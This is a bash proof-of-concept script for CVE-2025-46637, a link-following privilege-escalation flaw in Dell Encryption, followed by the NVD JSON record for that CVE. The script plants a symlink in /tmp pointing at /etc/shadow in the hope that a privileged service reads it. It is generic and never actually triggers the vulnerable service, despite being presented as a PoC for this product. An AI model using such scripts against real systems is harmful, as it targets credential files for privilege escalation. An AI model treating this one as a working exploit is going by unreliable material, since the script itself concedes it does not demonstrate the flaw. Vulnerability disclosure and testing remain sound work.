CVE-2025-46637

#!/bin/bash # CVE-2025-46637 PoC - Symlink Following in Dell Encryption # This PoC demonstrates the symlink following vulnerability # Author: Security Researcher # Note: This is for educational and authorized testing purposes only TARGET_DIR="/opt/dell/encryption/data" SENSITIVE_FILE="/etc/shadow" EVIL_SYMLINK="/tmp/dell_encryption_link" # Clean up any existing symlink echo "[+] Cleaning up existing symlinks..." rm -f "$EVIL_SYMLINK" # Create a symlink pointing to sensitive file echo "[+] Creating symlink to sensitive file..." ln -s "$SENSITIVE_FILE" "$EVIL_SYMLINK" # Wait for Dell Encryption service to access the path echo "[+] Waiting for Dell Encryption service to process the symlink..." echo "[+] Monitor $TARGET_DIR for file access patterns" # Verification: Check if symlink was followed if [ -L "$EVIL_SYMLINK" ]; then echo "[+] Symlink exists and may have been followed by the application" echo "[+] If the application has elevated privileges, it could read $SENSITIVE_FILE" fi echo "[!] PoC demonstration complete" echo "[!] Actual exploitation requires specific trigger conditions"

{"cve": {"id": "CVE-2025-46637", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:52.200", "lastModified": "2025-12-10T17:08:03.357", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell Encryption, versions prior to 11.12.1, contain an Improper Link Resolution Before File Access ('Link Following') vulnerability. A local malicious user could potentially exploit this vulnerability, leading to Elevation of privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:encryption:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.12.1", "matchCriteriaId": "98044DEC-A30E-416F-AFDA-37151C304748"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000394657/dsa-2025-442", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}